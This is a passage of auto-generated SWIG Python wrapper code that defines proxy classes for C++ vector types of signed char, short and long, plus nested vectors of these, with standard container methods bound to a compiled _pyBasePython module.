size_type new_size, value_type x) """ return _pyBasePython.vectorSC_resize(self, *args) def insert(self, *args): """ insert(self, iterator pos, value_type x) -> iterator insert(self, iterator pos, size_type n, value_type x) """ return _pyBasePython.vectorSC_insert(self, *args) def reserve(self, *args): """reserve(self, size_type n)""" return _pyBasePython.vectorSC_reserve(self, *args) def capacity(self): """capacity(self) -> size_type""" return _pyBasePython.vectorSC_capacity(self) __swig_destroy__ = _pyBasePython.delete_vectorSC vectorSC.iterator = new_instancemethod(_pyBasePython.vectorSC_iterator,None,vectorSC) vectorSC.__nonzero__ = new_instancemethod(_pyBasePython.vectorSC___nonzero__,None,vectorSC) vectorSC.__bool__ = new_instancemethod(_pyBasePython.vectorSC___bool__,None,vectorSC) vectorSC.__len__ = new_instancemethod(_pyBasePython.vectorSC___len__,None,vectorSC) vectorSC.pop = new_instancemethod(_pyBasePython.vectorSC_pop,None,vectorSC) vectorSC.__getslice__ = new_instancemethod(_pyBasePython.vectorSC___getslice__,None,vectorSC) vectorSC.__setslice__ = new_instancemethod(_pyBasePython.vectorSC___setslice__,None,vectorSC) vectorSC.__delslice__ = new_instancemethod(_pyBasePython.vectorSC___delslice__,None,vectorSC) vectorSC.__delitem__ = new_instancemethod(_pyBasePython.vectorSC___delitem__,None,vectorSC) vectorSC.__getitem__ = new_instancemethod(_pyBasePython.vectorSC___getitem__,None,vectorSC) vectorSC.__setitem__ = new_instancemethod(_pyBasePython.vectorSC___setitem__,None,vectorSC) vectorSC.append = new_instancemethod(_pyBasePython.vectorSC_append,None,vectorSC) vectorSC.empty = new_instancemethod(_pyBasePython.vectorSC_empty,None,vectorSC) vectorSC.size = new_instancemethod(_pyBasePython.vectorSC_size,None,vectorSC) vectorSC.clear = new_instancemethod(_pyBasePython.vectorSC_clear,None,vectorSC) vectorSC.swap = new_instancemethod(_pyBasePython.vectorSC_swap,None,vectorSC) vectorSC.get_allocator = new_instancemethod(_pyBasePython.vectorSC_get_allocator,None,vectorSC) vectorSC.begin = new_instancemethod(_pyBasePython.vectorSC_begin,None,vectorSC) vectorSC.end = new_instancemethod(_pyBasePython.vectorSC_end,None,vectorSC) vectorSC.rbegin = new_instancemethod(_pyBasePython.vectorSC_rbegin,None,vectorSC) vectorSC.rend = new_instancemethod(_pyBasePython.vectorSC_rend,None,vectorSC) vectorSC.pop_back = new_instancemethod(_pyBasePython.vectorSC_pop_back,None,vectorSC) vectorSC.erase = new_instancemethod(_pyBasePython.vectorSC_erase,None,vectorSC) vectorSC.push_back = new_instancemethod(_pyBasePython.vectorSC_push_back,None,vectorSC) vectorSC.front = new_instancemethod(_pyBasePython.vectorSC_front,None,vectorSC) vectorSC.back = new_instancemethod(_pyBasePython.vectorSC_back,None,vectorSC) vectorSC.assign = new_instancemethod(_pyBasePython.vectorSC_assign,None,vectorSC) vectorSC.resize = new_instancemethod(_pyBasePython.vectorSC_resize,None,vectorSC) vectorSC.insert = new_instancemethod(_pyBasePython.vectorSC_insert,None,vectorSC) vectorSC.reserve = new_instancemethod(_pyBasePython.vectorSC_reserve,None,vectorSC) vectorSC.capacity = new_instancemethod(_pyBasePython.vectorSC_capacity,None,vectorSC) vectorSC_swigregister = _pyBasePython.vectorSC_swigregister vectorSC_swigregister(vectorSC) class vectorvectorSC(object): """Proxy of C++ std::vector<(std::vector<(signed char)>)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.vectorvectorSC_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.vectorvectorSC___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.vectorvectorSC___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.vectorvectorSC___len__(self) def pop(self): """pop(self) -> value_type""" return _pyBasePython.vectorvectorSC_pop(self) def __getslice__(self, *args): """__getslice__(self, difference_type i, difference_type j) -> vectorvectorSC""" return _pyBasePython.vectorvectorSC___getslice__(self, *args) def __setslice__(self, *args): """__setslice__(self, difference_type i, difference_type j, vectorvectorSC v)""" return _pyBasePython.vectorvectorSC___setslice__(self, *args) def __delslice__(self, *args): """__delslice__(self, difference_type i, difference_type j)""" return _pyBasePython.vectorvectorSC___delslice__(self, *args) def __delitem__(self, *args): """ __delitem__(self, difference_type i) __delitem__(self, PySliceObject slice) """ return _pyBasePython.vectorvectorSC___delitem__(self, *args) def __getitem__(self, *args): """ __getitem__(self, PySliceObject slice) -> vectorvectorSC __getitem__(self, difference_type i) -> value_type """ return _pyBasePython.vectorvectorSC___getitem__(self, *args) def __setitem__(self, *args): """ __setitem__(self, PySliceObject slice, vectorvectorSC v) __setitem__(self, difference_type i, value_type x) """ return _pyBasePython.vectorvectorSC___setitem__(self, *args) def append(self, *args): """append(self, value_type x)""" return _pyBasePython.vectorvectorSC_append(self, *args) def empty(self): """empty(self) -> bool""" return _pyBasePython.vectorvectorSC_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.vectorvectorSC_size(self) def clear(self): """clear(self)""" return _pyBasePython.vectorvectorSC_clear(self) def swap(self, *args): """swap(self, vectorvectorSC v)""" return _pyBasePython.vectorvectorSC_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.vectorvectorSC_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return _pyBasePython.vectorvectorSC_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.vectorvectorSC_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.vectorvectorSC_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.vectorvectorSC_rend(self) def pop_back(self): """pop_back(self)""" return _pyBasePython.vectorvectorSC_pop_back(self) def erase(self, *args): """ erase(self, iterator pos) -> iterator erase(self, iterator first, iterator last) -> iterator """ return _pyBasePython.vectorvectorSC_erase(self, *args) def __init__(self, *args): """ __init__(self) -> vectorvectorSC __init__(self, vectorvectorSC arg0) -> vectorvectorSC __init__(self, size_type size) -> vectorvectorSC __init__(self, size_type size, value_type value) -> vectorvectorSC """ _pyBasePython.vectorvectorSC_swiginit(self,_pyBasePython.new_vectorvectorSC(*args)) def push_back(self, *args): """push_back(self, value_type x)""" return _pyBasePython.vectorvectorSC_push_back(self, *args) def front(self): """front(self) -> value_type""" return _pyBasePython.vectorvectorSC_front(self) def back(self): """back(self) -> value_type""" return _pyBasePython.vectorvectorSC_back(self) def assign(self, *args): """assign(self, size_type n, value_type x)""" return _pyBasePython.vectorvectorSC_assign(self, *args) def resize(self, *args): """ resize(self, size_type new_size) resize(self, size_type new_size, value_type x) """ return _pyBasePython.vectorvectorSC_resize(self, *args) def insert(self, *args): """ insert(self, iterator pos, value_type x) -> iterator insert(self, iterator pos, size_type n, value_type x) """ return _pyBasePython.vectorvectorSC_insert(self, *args) def reserve(self, *args): """reserve(self, size_type n)""" return _pyBasePython.vectorvectorSC_reserve(self, *args) def capacity(self): """capacity(self) -> size_type""" return _pyBasePython.vectorvectorSC_capacity(self) __swig_destroy__ = _pyBasePython.delete_vectorvectorSC vectorvectorSC.iterator = new_instancemethod(_pyBasePython.vectorvectorSC_iterator,None,vectorvectorSC) vectorvectorSC.__nonzero__ = new_instancemethod(_pyBasePython.vectorvectorSC___nonzero__,None,vectorvectorSC) vectorvectorSC.__bool__ = new_instancemethod(_pyBasePython.vectorvectorSC___bool__,None,vectorvectorSC) vectorvectorSC.__len__ = new_instancemethod(_pyBasePython.vectorvectorSC___len__,None,vectorvectorSC) vectorvectorSC.pop = new_instancemethod(_pyBasePython.vectorvectorSC_pop,None,vectorvectorSC) vectorvectorSC.__getslice__ = new_instancemethod(_pyBasePython.vectorvectorSC___getslice__,None,vectorvectorSC) vectorvectorSC.__setslice__ = new_instancemethod(_pyBasePython.vectorvectorSC___setslice__,None,vectorvectorSC) vectorvectorSC.__delslice__ = new_instancemethod(_pyBasePython.vectorvectorSC___delslice__,None,vectorvectorSC) vectorvectorSC.__delitem__ = new_instancemethod(_pyBasePython.vectorvectorSC___delitem__,None,vectorvectorSC) vectorvectorSC.__getitem__ = new_instancemethod(_pyBasePython.vectorvectorSC___getitem__,None,vectorvectorSC) vectorvectorSC.__setitem__ = new_instancemethod(_pyBasePython.vectorvectorSC___setitem__,None,vectorvectorSC) vectorvectorSC.append = new_instancemethod(_pyBasePython.vectorvectorSC_append,None,vectorvectorSC) vectorvectorSC.empty = new_instancemethod(_pyBasePython.vectorvectorSC_empty,None,vectorvectorSC) vectorvectorSC.size = new_instancemethod(_pyBasePython.vectorvectorSC_size,None,vectorvectorSC) vectorvectorSC.clear = new_instancemethod(_pyBasePython.vectorvectorSC_clear,None,vectorvectorSC) vectorvectorSC.swap = new_instancemethod(_pyBasePython.vectorvectorSC_swap,None,vectorvectorSC) vectorvectorSC.get_allocator = new_instancemethod(_pyBasePython.vectorvectorSC_get_allocator,None,vectorvectorSC) vectorvectorSC.begin = new_instancemethod(_pyBasePython.vectorvectorSC_begin,None,vectorvectorSC) vectorvectorSC.end = new_instancemethod(_pyBasePython.vectorvectorSC_end,None,vectorvectorSC) vectorvectorSC.rbegin = new_instancemethod(_pyBasePython.vectorvectorSC_rbegin,None,vectorvectorSC) vectorvectorSC.rend = new_instancemethod(_pyBasePython.vectorvectorSC_rend,None,vectorvectorSC) vectorvectorSC.pop_back = new_instancemethod(_pyBasePython.vectorvectorSC_pop_back,None,vectorvectorSC) vectorvectorSC.erase = new_instancemethod(_pyBasePython.vectorvectorSC_erase,None,vectorvectorSC) vectorvectorSC.push_back = new_instancemethod(_pyBasePython.vectorvectorSC_push_back,None,vectorvectorSC) vectorvectorSC.front = new_instancemethod(_pyBasePython.vectorvectorSC_front,None,vectorvectorSC) vectorvectorSC.back = new_instancemethod(_pyBasePython.vectorvectorSC_back,None,vectorvectorSC) vectorvectorSC.assign = new_instancemethod(_pyBasePython.vectorvectorSC_assign,None,vectorvectorSC) vectorvectorSC.resize = new_instancemethod(_pyBasePython.vectorvectorSC_resize,None,vectorvectorSC) vectorvectorSC.insert = new_instancemethod(_pyBasePython.vectorvectorSC_insert,None,vectorvectorSC) vectorvectorSC.reserve = new_instancemethod(_pyBasePython.vectorvectorSC_reserve,None,vectorvectorSC) vectorvectorSC.capacity = new_instancemethod(_pyBasePython.vectorvectorSC_capacity,None,vectorvectorSC) vectorvectorSC_swigregister = _pyBasePython.vectorvectorSC_swigregister vectorvectorSC_swigregister(vectorvectorSC) class vectorSS(object): """Proxy of C++ std::vector<(short)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.vectorSS_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.vectorSS___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.vectorSS___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.vectorSS___len__(self) def pop(self): """pop(self) -> value_type""" return _pyBasePython.vectorSS_pop(self) def __getslice__(self, *args): """__getslice__(self, difference_type i, difference_type j) -> vectorSS""" return _pyBasePython.vectorSS___getslice__(self, *args) def __setslice__(self, *args): """__setslice__(self, difference_type i, difference_type j, vectorSS v)""" return _pyBasePython.vectorSS___setslice__(self, *args) def __delslice__(self, *args): """__delslice__(self, difference_type i, difference_type j)""" return _pyBasePython.vectorSS___delslice__(self, *args) def __delitem__(self, *args): """ __delitem__(self, difference_type i) __delitem__(self, PySliceObject slice) """ return _pyBasePython.vectorSS___delitem__(self, *args) def __getitem__(self, *args): """ __getitem__(self, PySliceObject slice) -> vectorSS __getitem__(self, difference_type i) -> value_type """ return _pyBasePython.vectorSS___getitem__(self, *args) def __setitem__(self, *args): """ __setitem__(self, PySliceObject slice, vectorSS v) __setitem__(self, difference_type i, value_type x) """ return _pyBasePython.vectorSS___setitem__(self, *args) def append(self, *args): """append(self, value_type x)""" return _pyBasePython.vectorSS_append(self, *args) def empty(self): """empty(self) -> bool""" return _pyBasePython.vectorSS_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.vectorSS_size(self) def clear(self): """clear(self)""" return _pyBasePython.vectorSS_clear(self) def swap(self, *args): """swap(self, vectorSS v)""" return _pyBasePython.vectorSS_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.vectorSS_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return _pyBasePython.vectorSS_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.vectorSS_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.vectorSS_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.vectorSS_rend(self) def pop_back(self): """pop_back(self)""" return _pyBasePython.vectorSS_pop_back(self) def erase(self, *args): """ erase(self, iterator pos) -> iterator erase(self, iterator first, iterator last) -> iterator """ return _pyBasePython.vectorSS_erase(self, *args) def __init__(self, *args): """ __init__(self) -> vectorSS __init__(self, vectorSS arg0) -> vectorSS __init__(self, size_type size) -> vectorSS __init__(self, size_type size, value_type value) -> vectorSS """ _pyBasePython.vectorSS_swiginit(self,_pyBasePython.new_vectorSS(*args)) def push_back(self, *args): """push_back(self, value_type x)""" return _pyBasePython.vectorSS_push_back(self, *args) def front(self): """front(self) -> value_type""" return _pyBasePython.vectorSS_front(self) def back(self): """back(self) -> value_type""" return _pyBasePython.vectorSS_back(self) def assign(self, *args): """assign(self, size_type n, value_type x)""" return _pyBasePython.vectorSS_assign(self, *args) def resize(self, *args): """ resize(self, size_type new_size) resize(self, size_type new_size, value_type x) """ return _pyBasePython.vectorSS_resize(self, *args) def insert(self, *args): """ insert(self, iterator pos, value_type x) -> iterator insert(self, iterator pos, size_type n, value_type x) """ return _pyBasePython.vectorSS_insert(self, *args) def reserve(self, *args): """reserve(self, size_type n)""" return _pyBasePython.vectorSS_reserve(self, *args) def capacity(self): """capacity(self) -> size_type""" return _pyBasePython.vectorSS_capacity(self) __swig_destroy__ = _pyBasePython.delete_vectorSS vectorSS.iterator = new_instancemethod(_pyBasePython.vectorSS_iterator,None,vectorSS) vectorSS.__nonzero__ = new_instancemethod(_pyBasePython.vectorSS___nonzero__,None,vectorSS) vectorSS.__bool__ = new_instancemethod(_pyBasePython.vectorSS___bool__,None,vectorSS) vectorSS.__len__ = new_instancemethod(_pyBasePython.vectorSS___len__,None,vectorSS) vectorSS.pop = new_instancemethod(_pyBasePython.vectorSS_pop,None,vectorSS) vectorSS.__getslice__ = new_instancemethod(_pyBasePython.vectorSS___getslice__,None,vectorSS) vectorSS.__setslice__ = new_instancemethod(_pyBasePython.vectorSS___setslice__,None,vectorSS) vectorSS.__delslice__ = new_instancemethod(_pyBasePython.vectorSS___delslice__,None,vectorSS) vectorSS.__delitem__ = new_instancemethod(_pyBasePython.vectorSS___delitem__,None,vectorSS) vectorSS.__getitem__ = new_instancemethod(_pyBasePython.vectorSS___getitem__,None,vectorSS) vectorSS.__setitem__ = new_instancemethod(_pyBasePython.vectorSS___setitem__,None,vectorSS) vectorSS.append = new_instancemethod(_pyBasePython.vectorSS_append,None,vectorSS) vectorSS.empty = new_instancemethod(_pyBasePython.vectorSS_empty,None,vectorSS) vectorSS.size = new_instancemethod(_pyBasePython.vectorSS_size,None,vectorSS) vectorSS.clear = new_instancemethod(_pyBasePython.vectorSS_clear,None,vectorSS) vectorSS.swap = new_instancemethod(_pyBasePython.vectorSS_swap,None,vectorSS) vectorSS.get_allocator = new_instancemethod(_pyBasePython.vectorSS_get_allocator,None,vectorSS) vectorSS.begin = new_instancemethod(_pyBasePython.vectorSS_begin,None,vectorSS) vectorSS.end = new_instancemethod(_pyBasePython.vectorSS_end,None,vectorSS) vectorSS.rbegin = new_instancemethod(_pyBasePython.vectorSS_rbegin,None,vectorSS) vectorSS.rend = new_instancemethod(_pyBasePython.vectorSS_rend,None,vectorSS) vectorSS.pop_back = new_instancemethod(_pyBasePython.vectorSS_pop_back,None,vectorSS) vectorSS.erase = new_instancemethod(_pyBasePython.vectorSS_erase,None,vectorSS) vectorSS.push_back = new_instancemethod(_pyBasePython.vectorSS_push_back,None,vectorSS) vectorSS.front = new_instancemethod(_pyBasePython.vectorSS_front,None,vectorSS) vectorSS.back = new_instancemethod(_pyBasePython.vectorSS_back,None,vectorSS) vectorSS.assign = new_instancemethod(_pyBasePython.vectorSS_assign,None,vectorSS) vectorSS.resize = new_instancemethod(_pyBasePython.vectorSS_resize,None,vectorSS) vectorSS.insert = new_instancemethod(_pyBasePython.vectorSS_insert,None,vectorSS) vectorSS.reserve = new_instancemethod(_pyBasePython.vectorSS_reserve,None,vectorSS) vectorSS.capacity = new_instancemethod(_pyBasePython.vectorSS_capacity,None,vectorSS) vectorSS_swigregister = _pyBasePython.vectorSS_swigregister vectorSS_swigregister(vectorSS) class vectorvectorSS(object): """Proxy of C++ std::vector<(std::vector<(short)>)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.vectorvectorSS_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.vectorvectorSS___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.vectorvectorSS___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.vectorvectorSS___len__(self) def pop(self): """pop(self) -> value_type""" return _pyBasePython.vectorvectorSS_pop(self) def __getslice__(self, *args): """__getslice__(self, difference_type i, difference_type j) -> vectorvectorSS""" return _pyBasePython.vectorvectorSS___getslice__(self, *args) def __setslice__(self, *args): """__setslice__(self, difference_type i, difference_type j, vectorvectorSS v)""" return _pyBasePython.vectorvectorSS___setslice__(self, *args) def __delslice__(self, *args): """__delslice__(self, difference_type i, difference_type j)""" return _pyBasePython.vectorvectorSS___delslice__(self, *args) def __delitem__(self, *args): """ __delitem__(self, difference_type i) __delitem__(self, PySliceObject slice) """ return _pyBasePython.vectorvectorSS___delitem__(self, *args) def __getitem__(self, *args): """ __getitem__(self, PySliceObject slice) -> vectorvectorSS __getitem__(self, difference_type i) -> value_type """ return _pyBasePython.vectorvectorSS___getitem__(self, *args) def __setitem__(self, *args): """ __setitem__(self, PySliceObject slice, vectorvectorSS v) __setitem__(self, difference_type i, value_type x) """ return _pyBasePython.vectorvectorSS___setitem__(self, *args) def append(self, *args): """append(self, value_type x)""" return _pyBasePython.vectorvectorSS_append(self, *args) def empty(self): """empty(self) -> bool""" return _pyBasePython.vectorvectorSS_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.vectorvectorSS_size(self) def clear(self): """clear(self)""" return _pyBasePython.vectorvectorSS_clear(self) def swap(self, *args): """swap(self, vectorvectorSS v)""" return _pyBasePython.vectorvectorSS_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.vectorvectorSS_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return _pyBasePython.vectorvectorSS_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.vectorvectorSS_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.vectorvectorSS_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.vectorvectorSS_rend(self) def pop_back(self): """pop_back(self)""" return _pyBasePython.vectorvectorSS_pop_back(self) def erase(self, *args): """ erase(self, iterator pos) -> iterator erase(self, iterator first, iterator last) -> iterator """ return _pyBasePython.vectorvectorSS_erase(self, *args) def __init__(self, *args): """ __init__(self) -> vectorvectorSS __init__(self, vectorvectorSS arg0) -> vectorvectorSS __init__(self, size_type size) -> vectorvectorSS __init__(self, size_type size, value_type value) -> vectorvectorSS """ _pyBasePython.vectorvectorSS_swiginit(self,_pyBasePython.new_vectorvectorSS(*args)) def push_back(self, *args): """push_back(self, value_type x)""" return _pyBasePython.vectorvectorSS_push_back(self, *args) def front(self): """front(self) -> value_type""" return _pyBasePython.vectorvectorSS_front(self) def back(self): """back(self) -> value_type""" return _pyBasePython.vectorvectorSS_back(self) def assign(self, *args): """assign(self, size_type n, value_type x)""" return _pyBasePython.vectorvectorSS_assign(self, *args) def resize(self, *args): """ resize(self, size_type new_size) resize(self, size_type new_size, value_type x) """ return _pyBasePython.vectorvectorSS_resize(self, *args) def insert(self, *args): """ insert(self, iterator pos, value_type x) -> iterator insert(self, iterator pos, size_type n, value_type x) """ return _pyBasePython.vectorvectorSS_insert(self, *args) def reserve(self, *args): """reserve(self, size_type n)""" return _pyBasePython.vectorvectorSS_reserve(self, *args) def capacity(self): """capacity(self) -> size_type""" return _pyBasePython.vectorvectorSS_capacity(self) __swig_destroy__ = _pyBasePython.delete_vectorvectorSS vectorvectorSS.iterator = new_instancemethod(_pyBasePython.vectorvectorSS_iterator,None,vectorvectorSS) vectorvectorSS.__nonzero__ = new_instancemethod(_pyBasePython.vectorvectorSS___nonzero__,None,vectorvectorSS) vectorvectorSS.__bool__ = new_instancemethod(_pyBasePython.vectorvectorSS___bool__,None,vectorvectorSS) vectorvectorSS.__len__ = new_instancemethod(_pyBasePython.vectorvectorSS___len__,None,vectorvectorSS) vectorvectorSS.pop = new_instancemethod(_pyBasePython.vectorvectorSS_pop,None,vectorvectorSS) vectorvectorSS.__getslice__ = new_instancemethod(_pyBasePython.vectorvectorSS___getslice__,None,vectorvectorSS) vectorvectorSS.__setslice__ = new_instancemethod(_pyBasePython.vectorvectorSS___setslice__,None,vectorvectorSS) vectorvectorSS.__delslice__ = new_instancemethod(_pyBasePython.vectorvectorSS___delslice__,None,vectorvectorSS) vectorvectorSS.__delitem__ = new_instancemethod(_pyBasePython.vectorvectorSS___delitem__,None,vectorvectorSS) vectorvectorSS.__getitem__ = new_instancemethod(_pyBasePython.vectorvectorSS___getitem__,None,vectorvectorSS) vectorvectorSS.__setitem__ = new_instancemethod(_pyBasePython.vectorvectorSS___setitem__,None,vectorvectorSS) vectorvectorSS.append = new_instancemethod(_pyBasePython.vectorvectorSS_append,None,vectorvectorSS) vectorvectorSS.empty = new_instancemethod(_pyBasePython.vectorvectorSS_empty,None,vectorvectorSS) vectorvectorSS.size = new_instancemethod(_pyBasePython.vectorvectorSS_size,None,vectorvectorSS) vectorvectorSS.clear = new_instancemethod(_pyBasePython.vectorvectorSS_clear,None,vectorvectorSS) vectorvectorSS.swap = new_instancemethod(_pyBasePython.vectorvectorSS_swap,None,vectorvectorSS) vectorvectorSS.get_allocator = new_instancemethod(_pyBasePython.vectorvectorSS_get_allocator,None,vectorvectorSS) vectorvectorSS.begin = new_instancemethod(_pyBasePython.vectorvectorSS_begin,None,vectorvectorSS) vectorvectorSS.end = new_instancemethod(_pyBasePython.vectorvectorSS_end,None,vectorvectorSS) vectorvectorSS.rbegin = new_instancemethod(_pyBasePython.vectorvectorSS_rbegin,None,vectorvectorSS) vectorvectorSS.rend = new_instancemethod(_pyBasePython.vectorvectorSS_rend,None,vectorvectorSS) vectorvectorSS.pop_back = new_instancemethod(_pyBasePython.vectorvectorSS_pop_back,None,vectorvectorSS) vectorvectorSS.erase = new_instancemethod(_pyBasePython.vectorvectorSS_erase,None,vectorvectorSS) vectorvectorSS.push_back = new_instancemethod(_pyBasePython.vectorvectorSS_push_back,None,vectorvectorSS) vectorvectorSS.front = new_instancemethod(_pyBasePython.vectorvectorSS_front,None,vectorvectorSS) vectorvectorSS.back = new_instancemethod(_pyBasePython.vectorvectorSS_back,None,vectorvectorSS) vectorvectorSS.assign = new_instancemethod(_pyBasePython.vectorvectorSS_assign,None,vectorvectorSS) vectorvectorSS.resize = new_instancemethod(_pyBasePython.vectorvectorSS_resize,None,vectorvectorSS) vectorvectorSS.insert = new_instancemethod(_pyBasePython.vectorvectorSS_insert,None,vectorvectorSS) vectorvectorSS.reserve = new_instancemethod(_pyBasePython.vectorvectorSS_reserve,None,vectorvectorSS) vectorvectorSS.capacity = new_instancemethod(_pyBasePython.vectorvectorSS_capacity,None,vectorvectorSS) vectorvectorSS_swigregister = _pyBasePython.vectorvectorSS_swigregister vectorvectorSS_swigregister(vectorvectorSS) class vectorSL(object): """Proxy of C++ std::vector<(long)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.vectorSL_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.vectorSL___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.vectorSL___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.vectorSL___len__(self) def pop(self): """pop(self) -> value_type""" return _pyBasePython.vectorSL_pop(self) def __getslice__(self, *args): """__getslice__(self, difference_type i, difference_type j) -> vectorSL""" return _pyBasePython.vectorSL___getslice__(self, *args) def __setslice__(self, *args): """__setslice__(self, difference_type i, difference_type j, vectorSL v)""" return _pyBasePython.vectorSL___setslice__(self, *args) def __delslice__(self, *args): """__delslice__(self, difference_type i, difference_type j)""" return _pyBasePython.vectorSL___delslice__(self, *args) def __delitem__(self, *args): """ __delitem__(self, difference_type i) __delitem__(self, PySliceObject slice) """ return _pyBasePython.vectorSL___delitem__(self, *args) def __getitem__(self, *args): """ __getitem__(self, PySliceObject slice) -> vectorSL __getitem__(self, difference_type i) -> value_type """ return _pyBasePython.vectorSL___getitem__(self, *args) def __setitem__(self, *args): """ __setitem__(self, PySliceObject slice, vectorSL v) __setitem__(self, difference_type i, value_type x) """ return _pyBasePython.vectorSL___setitem__(self, *args) def append(self, *args): """append(self, value_type x)""" return _pyBasePython.vectorSL_append(self, *args) def empty(self): """empty(self) -> bool""" return _pyBasePython.vectorSL_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.vectorSL_size(self) def clear(self): """clear(self)""" return _pyBasePython.vectorSL_clear(self) def swap(self, *args): """swap(self, vectorSL v)""" return _pyBasePython.vectorSL_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.vectorSL_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return _pyBasePython.vectorSL_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.vectorSL_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.vectorSL_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.vectorSL_rend(self) def pop_back(self): """pop_back(self)""" return _pyBasePython.vectorSL_pop_back(self) def erase(self, *args): """ erase(self, iterator pos) -> iterator erase(self, iterator first, iterator last) -> iterator """ return _pyBasePython.vectorSL_erase(self, *args) def __init__(self, *args): """ __init__(self) -> vectorSL __init__(self, vectorSL arg0) -> vectorSL __init__(self, size_type size) -> vectorSL __init__(self, size_type size, value_type value) -> vectorSL """ _pyBasePython.vectorSL_swiginit(self,_pyBasePython.new_vectorSL(*args)) def push_back(self, *args): """push_back(self, value_type x)""" return _pyBasePython.vectorSL_push_back(self, *args) def front(self): """front(self) -> value_type""" return _pyBasePython.vectorSL_front(self) def back(self): """back(self) -> value_type""" return _pyBasePython.vectorSL_back(self) def assign(self, *args): """assign(self, size_type n, value_type x)""" return _pyBasePython.vectorSL_assign(self, *args) def resize(self, *args): """ resize(self, size_type new_size) resize(self, size_type new_size, value_type x) """ return _pyBasePython.vectorSL_resize(self, *args) def insert(self, *args): """ insert(self, iterator pos, value_type x) -> iterator insert(self, iterator pos, size_type n, value_type x) """ return _pyBasePython.vectorSL_insert(self, *args) def reserve(self, *args): """reserve(self, size_type n)""" return _pyBasePython.vectorSL_reserve(self, *args) def capacity(self): """capacity(self) -> size_type""" return _pyBasePython.vectorSL_capacity(self) __swig_destroy__ = _pyBasePython.delete_vectorSL vectorSL.iterator = new_instancemethod(_pyBasePython.vectorSL_iterator,None,vectorSL) vectorSL.__nonzero__ = new_instancemethod(_pyBasePython.vectorSL___nonzero__,None,vectorSL) vectorSL.__bool__ = new_instancemethod(_pyBasePython.vectorSL___bool__,None,vectorSL) vectorSL.__len__ = new_instancemethod(_pyBasePython.vectorSL___len__,None,vectorSL) vectorSL.pop = new_instancemethod(_pyBasePython.vectorSL_pop,None,vectorSL) vectorSL.__getslice__ = new_instancemethod(_pyBasePython.vectorSL___getslice__,None,vectorSL) vectorSL.__setslice__ = new_instancemethod(_pyBasePython.vectorSL___setslice__,None,vectorSL) vectorSL.__delslice__ = new_instancemethod(_pyBasePython.vectorSL___delslice__,None,vectorSL) vectorSL.__delitem__ = new_instancemethod(_pyBasePython.vectorSL___delitem__,None,vectorSL) vectorSL.__getitem__ = new_instancemethod(_pyBasePython.vectorSL___getitem__,None,vectorSL) vectorSL.__setitem__ = new_instancemethod(_pyBasePython.vectorSL___setitem__,None,vectorSL) vectorSL.append = new_instancemethod(_pyBasePython.vectorSL_append,None,vectorSL) vectorSL.empty = new_instancemethod(_pyBasePython.vectorSL_empty,None,vectorSL) vectorSL.size = new_instancemethod(_pyBasePython.vectorSL_size,None,vectorSL) vectorSL.clear = new_instancemethod(_pyBasePython.vectorSL_clear,None,vectorSL) vectorSL.swap = new_instancemethod(_pyBasePython.vectorSL_swap,None,vectorSL) vectorSL.get_allocator = new_instancemethod(_pyBasePython.vectorSL_get_allocator,None,vectorSL) vectorSL.begin = new_instancemethod(_pyBasePython.vectorSL_begin,None,vectorSL) vectorSL.end = new_instancemethod(_pyBasePython.vectorSL_end,None,vectorSL) 